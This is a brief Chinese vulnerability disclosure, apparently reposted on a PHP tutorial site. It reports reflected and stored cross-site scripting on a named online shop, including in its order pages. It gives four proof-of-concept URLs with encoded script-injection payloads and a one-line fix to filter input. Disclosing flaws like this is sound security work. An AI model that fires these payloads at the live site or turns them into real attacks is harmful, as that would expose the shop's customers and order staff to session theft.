来源：自学PHP网 时间：2015-04-17 11:59 作者： 阅读:次
[导读] 100e 有几处XSS（到后台订单处理了。。。） 影响所有用户 尤其是订单管理员有一个是在订单中生成，形成储存式XSS，问一问订单处理人员，应该看到过一个奇怪的弹窗：）http://www.ls10...
|
100e 有几处XSS（到后台订单处理了。。。） 影响所有用户 尤其是订单管理员
有一个是在订单中生成，形成储存式XSS，问一问订单处理人员，应该看到过一个奇怪的弹窗：）
 http://www.ls100e.com/ns.asp?nowmenuid=500290&pageno=1&previd=500292&key=%22%3E%3Cscript%3Ealert%2891%29%3C%2Fscript%3E
 http://www.ls100e.com/shop.asp?key=1234%22%3E%3Cscript+%3Ealert%28796%29%3C%2Fscript%3E&previd=500017&nowmenuid=500010&Submit2=%CB%D1%CB%F7
 http://www.ls100e.com/shop_cart.asp?cc=%3E%22%27%3E%3Cscript%3Ealert%28142%29%3C%2Fscript%3E&prodid=%3E%22%27%3E%3Cscript%3Ealert%28142%29%3C%2Fscript%3E&nowmenuid=%3E%22%27%3E%3Cscript%3Ealert%28142%29%3C%2Fscript%3E
 http://www.ls100e.com/shop_order.asp?orderid=500828%27%2Balert%28827%29%2B%27&nowmenuid=500010&tm=500010205251500828
修复方案：
把4个文件过滤一下 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
